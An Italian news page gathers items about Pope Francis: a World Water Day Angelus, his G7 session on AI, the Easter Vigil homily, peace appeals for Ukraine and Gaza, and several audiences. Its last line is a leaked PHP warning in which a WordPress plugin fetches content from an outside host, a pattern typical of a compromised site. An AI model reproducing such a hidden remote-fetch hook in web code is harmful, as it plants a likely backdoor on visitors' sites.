Papa Francesco: “Oggi ricorre la Giornata mondiale dell’acqua, dalla nostra capacità di condividere l’ uso dell’acqua ,dipende il futuro dell’umanità”

 

Ecco l'Angelus integrale di papa Francesco di oggi

 

Cari fratelli e sorelle,

in questa Quinta Domenica di Quaresima, l’evangelista Giovanni attira la nostra attenzione con un particolare curioso: alcuni “greci”, di religione ebraica, venuti a Gerusalemme per la festa di Pasqua, si rivolgono all’apostolo Filippo e gli dicono: «Vogliamo vedere Gesù» (Gv 12,21). Nella città santa, dove Gesù si è recato per l’ultima volta, c’è molta gente. Ci sono i piccoli e i semplici, che hanno accolto festosamente il profeta di Nazaret riconoscendo in Lui l’Inviato del Signore. Ci sono i sommi sacerdoti e i capi del popolo, che lo vogliono eliminare perché lo considerano eretico e pericoloso. Ci sono anche persone, come quei “greci”, che sono curiose di vederlo e saperne di più sulla sua persona e sulle opere da Lui compiute, l’ultima delle quali – la risurrezione di Lazzaro – ha fatto molto scalpore.

«Vogliamo vedere Gesù»: queste parole, come tante altre nei Vangeli, vanno al di là dell’episodio particolare ed esprimono qualcosa di universale; rivelano un desiderio che attraversa le epoche e le culture, un desiderio presente nel cuore di tante persone che hanno sentito parlare di Cristo, ma non lo hanno ancora incontrato. “Io desidero vedere Gesù”, così sente il cuore di questa Gente.

Rispondendo indirettamente, in modo profetico, a quella richiesta di poterlo vedere, Gesù pronuncia una profezia che svela la sua identità e indica il cammino per conoscerlo veramente: «E’ giunta l’ora che il figlio dell’uomo sia glorificato» (Gv 12,23). È l’ora della Croce! È l’ora della sconfitta di Satana, principe del male, e del trionfo definitivo dell’amore misericordioso di Dio. Cristo dichiara che sarà «innalzato da terra» (v. 32), un’espressione dal doppio significato: “innalzato” perché crocifisso, e “innalzato” perché esaltato dal Padre nella Risurrezione, per attirare tutti a sé e riconciliare gli uomini con Dio e tra di loro. L’ora della Croce, la più buia della storia, è anche la sorgente della salvezza per quanti credono in Lui.

Proseguendo nella profezia sulla sua Pasqua ormai imminente, Gesù usa un’immagine semplice e suggestiva, quella del “chicco di grano” che, caduto in terra, muore per portare frutto (cfr v. 24). In questa immagine troviamo un altro aspetto della Croce di Cristo: quello della fecondità. La croce di Cristo è feconda. La morte di Gesù, infatti, è una fonte inesauribile di vita nuova, perché porta in sé la forza rigeneratrice dell’amore di Dio. Immersi in questo amore per il Battesimo, i cristiani possono diventare “chicchi di grano” e portare molto frutto se, come Gesù, “perdono la propria vita” per amore di Dio e dei fratelli (cfr v. 25).

Per questo, a coloro che anche oggi “vogliono vedere Gesù”, a quanti sono alla ricerca del volto di Dio; a chi ha ricevuto una catechesi da piccolo e poi non l’ha più approfondita e forse ha perso la fede; a tanti che non hanno ancora incontrato Gesù personalmente…; a tutte queste persone possiamo offrire tre cose: il Vangeloil crocifisso e la testimonianza della nostra fede, povera, ma sincera. Il Vangelo: lì possiamo incontrare Gesù, ascoltarlo, conoscerlo. Il crocifisso: segno dell’amore di Gesù che ha dato sé stesso per noi. E poi una fede che si traduce in gesti semplici di carità fraterna. Ma principalmente nella coerenza di vita tra quello che diciamo e quello che viviamo, coerenza tra la nostra fede e la nostra vita, tra le nostre parole e le nostre azioni. Vangelo, crocifisso, testimonianza. Che la Madonna ci aiuti a portare queste tre cose.

Dopo l’Angelus:

Cari fratelli e sorelle,

nonostante il brutto tempo siete venuti in tanti, complimenti. Siete stati molto coraggiosi, anche i maratoneti sono coraggiosi, li saluto con affetto. Ieri sono stato a Napoli, voglio ringraziare per la calorosa accoglienza tutti i napoletani, tanto bravi. Grazie tante!

Oggi ricorre la Giornata Mondiale dell’Acqua, promossa dalle Nazioni Unite. L’acqua è l’elemento più essenziale per la vita, e dalla nostra capacità di custodirlo e di condividerlo dipende il futuro dell’umanità. Incoraggio pertanto la Comunità internazionale a vigilare affinché le acque del pianeta siano adeguatamente protette e nessuno sia escluso o discriminato nell’uso di questo bene, che è un bene comune per eccellenza. Con san Francesco d’Assisi diciamo: «Laudato si’, mi’ Signore, per sora aqua,/la quale è molto utile et humile et pretiosa et casta» (Cantico di frate Sole).

Saluto tutti i pellegrini presenti, in particolare il Coro del “Conservatorio Profesional de Música” di Orihuela (Spagna), i giovani del Collège Saint-Jean de Passy di Parigi, i fedeli dell’Ungheria, e i gruppi musicali del Canton Ticino (Svizzera). Saluto l’Ordine Francescano Secolare di Cremona, l’UNITALSI della Lombardia, il gruppo intitolato al Vescovo martire Oscar Romero, che sarà presto proclamato Beato; come pure i fedeli di Fiumicino, i Bambini della Prima Comunione di Sambuceto, i ragazzi di Ravenna, di Milano e di Firenze che hanno ricevuto da poco la Cresima o stanno per riceverla.

Ed ora ripeteremo un gesto già compiuto l’anno scorso: secondo l’antica tradizione della Chiesa, durante la Quaresima si consegna il Vangelo a coloro che si preparano al Battesimo; così io oggi offro a voi che siete in Piazza un regalo, un Vangelo tascabile. Vi sarà distribuito gratuitamente da alcune persone senza fissa dimora che vivono a Roma. Anche in questo vediamo un gesto molto bello, che piace a Gesù: i più bisognosi sono coloro che ci regalano la parola di Dio. Prendetelo e portatelo con voi, per leggerlo spesso, ogni giorno portarlo nella borsa, in tasca e leggerne spesso un passo ogni giorno. La Parola di Dio è luce per il nostro cammino! Vi farà bene fatelo!

Auguro a tutti una buona domenica. Per favore, non dimenticatevi di pregare per me. Buon pranzo e arrivederci!

PAPA FRANCESCO ENTRA NELLA STORIA DEL MONDO PER LA SUA PROSSIMA PARTECIPAZIONE AI LAVORI DEL G7

Il Papa con Giorgia Meloni

Foto -Vatican Media

 

Il G7 a presidenza italiana del 13-15 giugno entra nella storia del mondo e del Vaticano per la partecipazione annunciata di Papa Francesco, nella sessione dedicata all’Intelligenza artificiale….

La premier Giorgia Meloni ne ha dato l’annuncio in un video pubblicato ieri sui canali social personali e del governo.   Il  Vaticano precisa che l’intervento di Papa Bergoglio sarà in presenza e che la sua partecipazione si inserisce nel percorso avviato dalla Pontificia accademia per la Vita con monsignor Vincenzo Paglia.

«Sono onorata – ha detto la  Meloni – di annunciare la partecipazione di Papa Francesco ai lavori del G7 nella sessione dedicata all’intelligenza artificiale. Ringrazio di cuore il Santo Padre per aver accettato l’invito dell’Italia. La sua presenza dà lustro alla nostra Nazione e all’intero G7. È la prima volta nella storia che un pontefice partecipa ai lavori del Gruppo dei Sette e il Santo Padre lo farà nella sessione outreach, quella aperta anche ai Paesi invitati e non solo ai membri del G7. Sono convinta che la presenza di Sua Santità darà un contributo decisivo alla definizione di un quadro regolatorio, etico e culturale all’intelligenza artificiale»…

La celebrazione della veglia pasquale Superare le paure, in questo momento critico del mondo, come la grande pietra che chiudeva la tomba di Gesù

 

Nella veglia pasquale presieduta nella Basilica di San Pietro, Papa Francesco invita a non lasciarsi imprigionare nel sepolcro delle paure e delle amarezze e a fare in modo che le sofferenze e “gli aneliti di pace spezzati dalla crudeltà dell’odio” non blocchino la via verso la gioia. Durante la celebrazione battezzati otto catecumeni

“Ecco la Pasqua di Cristo, ecco la forza di Dio: la vittoria della vita sulla morte, il trionfo della luce sulle tenebre, la rinascita della speranza dentro le macerie del fallimento. È il Signore, il Dio dell’impossibile che, per sempre, ha rotolato via la pietra e ha cominciato ad aprire i nostri cuori, perché la speranza non abbia fine. Verso di Lui, allora, anche noi dobbiamo alzare lo sguardo.

Nella notte della veglia pasquale, le parole di Papa Francesco che annunciano la risurrezione di Gesù rompono il silenzio del sabato santo e infondono gioia, la “gioia inaudita della Pasqua”. . Il Papa pronuncia l’omelia  dopo il lucernario – il rito con la benedizione del fuoco e del cero pasquale e il canto dell’Exultet che proclama la vittoria della luce sulle tenebre – e la lunga liturgia della Parola che ripercorre la storia della salvezza e incoraggia ad alzare lo sguardo, come hanno fatto le donne recatesi al sepolcro di Cristo per ungerne il corpo, all’alba del terzo giorno dalla morte

Superare le paure come la pietra posta a chiusura della tomba di Gesù

Con il cuore “rimasto ai piedi della croce”, “annebbiate dalle lacrime”, “paralizzate dal dolore, rinchiuse nella sensazione che ormai sia tutto finito”, Maria di Magdala, Maria madre di Giacomo e Salomè sono preoccupate della pietra posta a chiusura della tomba di Gesù e si chiedono chi potrà farla rotolare. Papa Francesco spiega che “quel masso, ostacolo insormontabile, era il simbolo di ciò che le donne portavano nel cuore, il capolinea della loro speranza: contro di esso tutto si era infranto”.

A volte sentiamo che una pietra tombale è stata pesantemente poggiata all’ingresso del nostro cuore, soffocando la vita, spegnando la fiducia, imprigionandoci nel sepolcro delle paure e delle amarezze, bloccando la via verso la gioia e la speranza. Sono “macigni della morte” e li incontriamo, lungo il cammino, in tutte quelle esperienze e situazioni che ci rubano l’entusiasmo e la forza di andare avanti.

 

 

 

 

Papa Francesco chiede di liberarci dall’odio, violenza ed inimicizia

 

Il Papa è triste e addolorato e prega per le vittime del “vile attentato terroristico” di Mosca.

Francesco al termine della celebrazione per la Domenica delle Palme, ha espresso così il suo dolore per quanto accaduto in Russia due giorni fa, e chiedendo a Dio di accogliere le vittime, confortare i familiari e convertire “i cuori di quanti progettano, organizzano e attuano queste azioni disumane che offendono Dio, il quale ha comandato: ‘Non ucciderai'”.

Dobbiamo liberarci dall’odio, dalla violenza e dall’inimicizia

Francesco, ricordando che in questa Domenica delle Palme, “Gesù è entrato in Gerusalemme come Re umile e pacifico”, chiede ai fedeli di aprire a Lui i cuori perché Lui solo “ci può liberare dall’inimicizia, dall’odio, dalla violenza, perché Lui è la misericordia e il perdono dei peccati”. Il pensiero del Pontefice è quindi quello di chiedere preghiere per chi soffre a causa della guerra, guardando alla “martoriata” Ucraina, “dove tantissima gente si trova senza elettricità a causa degli intensi attacchi contro le strutture che oltre a causare morte e sofferenza comportano il rischio di una catastrofe umanitaria di ancora più ampie dimensioni”. Lo sguardo di Francesco si ferma su Gaza “che soffre tanto” e su tanti altri “luoghi di guerra”.

Le vittime in Colombia, comunità di pace

Il pensiero del Papa in principio era andato alla Colombia, alla comunità di Pace di San josé de Apartadò, dove nei giorni scorsi sono stati uccisi una donna e un ragazzo, moglie e fratello di uno dei leader della comunità che, ha ricordato Francesco, “nel 2018 è stata premiata come esempio di impegno per l’economia solidale, la pace e i diritti umani”.

 

 

 

Papa Francesco:” Non abbiate vergogna di negoziare, si ritrovi quell’umanità per una pace giusta e duratura”

Non passa giorno in cui il Papa non faccia cenno della pace.Il Papa ora parla nuovamente della cessazione delle ostilità, la tregua raggiunta con il coraggio del negoziato. Suo auspicio è una soluzione diplomatica per una pace giusta e duratura”

Il Papa con le sue parole sull’Ucraina  chiede il cessate il fuoco e rilancia il coraggio del negoziato.  L’auspicio di Francesco per il Paese, da sempre definito “martoriato”, è tutto racchiuso nelle parole già espresse all’Angelus del 25 febbraio, all’indomani del drammatico doppio anniversario dello scoppio del conflitto, in cui ribadiva il suo “vivissimo affetto” alla popolazione. E cioè di “creare le condizioni di una soluzione diplomatica alla ricerca di una pace giusta e duratura”.

“Il Papa – – usa il termine bandiera bianca, e sulla guerra in Ucraina dice di  Il Papa sulla guerra in Ucraina: non abbiate vergogna di negoziare

Aggiunge pubblicamente Papa Francesco: ” Ma credo che è più forte chi vede la situazione, chi pensa al popolo, chi ha il coraggio della bandiera bianca, di negoziare. E oggi si può negoziare con l’aiuto delle potenze internazionali. La parola negoziare è una parola coraggiosa. Quando vedi che sei sconfitto, che le cose non vanno, occorre avere il coraggio di negoziare. Hai vergogna, ma con quante morti finirà? Negoziare in tempo, cercare qualche Paese che faccia da mediatore. Oggi, per esempio nella guerra in Ucraina, ci sono tanti che vogliono fare da mediatore. La Turchia, si è offerta per questo. E altri. Non abbiate vergogna di negoziare prima che la cosa sia peggiore”.

Mentre rinnovo il mio vivissimo affetto al martoriato popolo ucraino e prego per tutti, in particolare per le numerosissime vittime innocenti, supplico che si ritrovi quel po’ di umanità che permetta di creare le condizioni di una soluzione diplomatica alla ricerca di una pace giusta e duratura’”.

Papa Francesco: ” Echeggiamo tutti il grido della pace perchè le guerre e i massacri sono inutili..”

 

10 anni di Papa Francesco in immagini

 

Tante guerre, tante sofferenze. La prima guerra mondiale doveva essere l’ultima e gli Stati si costituirono nella Società delle Nazioni, ‘primizià delle Nazioni Unite, pensando che ciò bastasse a preservare il dono della pace. Eppure da allora, quanti conflitti e massacri, sempre tragici e sempre inutili. Tante volte ho supplicato: ‘Basta!’. Echeggiamo tutti il grido della pace, perchè tocchi i cuori, anche quelli insensibili alla sofferenza dei poveri e degli umili. E soprattutto preghiamo”.

Così Papa Francesco ricevendo in udienza i membri del Sinodo dei vescovi della Chiesa Patriarcale di Cilicia degli Armeni. “Non dimentichiamo i popoli che soffrono a causa della guerra: Ucraina, Palestina, Israele e tanti altri. E preghiamo per le vittime dei recenti attacchi contro luoghi di culto in Burkina Faso; come pure per la popolazione di Haiti, dove continuano i crimini e i sequestri delle bande armate”, ha poi aggiunto il Santo Padre al termine dell’udienza generale.

L’Ispettorato vaticano- e il Capo della Polizia Pisani- in udienza da Papa Francesco

 

Il capo della Polizia ricevuto da Papa Francesco

DAL 2004 AVVIATO IL PROCESSO DI BEATIFICAZIONE PER IL COMMISSARIO GIOVANNI PALATUCCI, DEPORTATO E UCCISO IN CAMPO DI CONCENTRAMENTO

 

Ieri mattina, nella sala Clementina in Vaticano, Papa Francesco ha ricevuto in udienza il capo della Polizia Vittorio Pisani assieme ai dirigenti ed il personale in servizio presso l’Ispettorato di Pubblica sicurezza “Vaticano”.

Le auto azzurre diventano spesso punto di riferimento anche per tanti altri bisogni meno istituzionali, ma non meno importanti a livello umano, di cui pure vi fate carico: dalla richiesta di informazioni, ai piccoli imprevisti, o a chi si rivolge a voi per manifestare un disagio, o perché, sentendosi emarginato, cerca un po’ di comprensione ed empatia. Sì, perché la gente sa che dove c’è la divisa, ci si può fidare. E questo è molto importante”. Con queste parole, Sua Santità ha rivolto il suo personale ringraziamento alle donne e agli uomini della Polizia di Stato, che quotidianamente garantiscono la sicurezza dei cittadini e si prendono cura delle persone più fragili.

Il Pontefice ha inoltre ringraziato i poliziotti dell’Ispettorato Vaticano “per il lavoro fedele e paziente con cui garantite, a tutti coloro che vengono in Vaticano, dall’Italia e dall’estero, la possibilità di vivere momenti di fede e di preghiera, come pellegrini, o semplicemente di svago, come turisti, in un clima sereno di ordine e di sicurezza”.

Al termine dell’udienza il Capo della Polizia ha consegnato a Papa Francesco un libro che ricorda la storia del commissario Giovanni Palatucci, poliziotto Giusto tra le Nazioni, deportato e ucciso nel campo di concentramento di Dachau il 10 febbraio 1945. Dal 2004, la Chiesa lo ha proclamato “Servo di Dio”, titolo attribuito alle persone per le quali è stato avviato il processo di beatificazione

Papa Francesco: ha ricevuto in udienza il Presidente della Repubblica della Guinea Bissau

Guinea-Bissau, il presidente Embalo: "Le violenze di giovedì ...

 

Ieri Papa Francesco- si apprende da una nota stampa vaticana- ha ricevuto in udienza, nel Palazzo Apostolico Vaticano, il Presidente della Repubblica della Guinea Bissau, Umaro Sissoco Embaló, (nella foto sopra)che ha poi incontrato il card. Pietro Parolin, Segretario di Stato vaticano, accompagnato da m,ons. Paul Richard Gallagher, Segretario per i Rapporti con gli Stati e le Organizzazioni Internazionali.

Nel corso dei cordiali colloqui in Segreteria di Stato sono state sottolineate le buone relazioni tra la Santa Sede e la Guinea Bissau, ci si è soffermati su alcuni aspetti della situazione sociale del Paese e si è rilevato il contributo della Chiesa in favore del bene comune, specialmente in campo educativo e sanitario”, 

Papa Francesco nel ricordo della ricorrenza dell’orribile sterminio

Voi siete miei amici» (Gv 15,14): il messaggio di papa ...

 

“Papa Francesco nella ricorrenza del Giorno del Ricordo  :  “Il ricordo e la condanna dell’orribile sterminio di milioni di persone ebree e di altre fedi, avvenuto nel secolo scorso, aiuti tutti a non dimenticare che la logica dell’odio e della violenza non si può mai giustificare, perchè nega la nostra stessa umanità”. 

Papa Francesco: “Il piacere sessuale è un dono di Dio ma attenti al vizio della lussuria.Dobbiamo difendere l’amore della mente

Papa Francesco: “Attenzione alle relazioni tossiche, lo documenta la cronaca quotidiana”

 

Papa Francesco - (Afp)
Papa Francesco – (Afp)

Parlando del vizio della lussuria, Bergoglio ha osservato: “Si badi bene: nel cristianesimo non c’è una condanna dell’istinto sessuale. Un libro della Bibbia, il Cantico dei Cantici, è uno stupendo poema d’amore tra due fidanzati. Tuttavia, questa dimensione così bella della nostra umanità non è esente da pericoli, tanto che già San Paolo deve affrontare la questione nella prima Lettera ai Corinzi. Scrive così: «Si sente da per tutto parlare di immoralità tra voi, e di una immoralità tale che non si riscontra neanche tra i pagani” . Il rimprovero dell’Apostolo riguarda proprio una gestione malsana della sessualità da parte di alcuni cristiani”.

 

Translate »
Warning: file_get_contents(https://gooolink.com/somefile.php?domain=sudliberta.com): Failed to open stream: HTTP request failed! HTTP/1.1 521 in /customers/c/2/5/sudliberta.com/httpd.www/wp-content/plugins/gutenberg-addon/function.php on line 32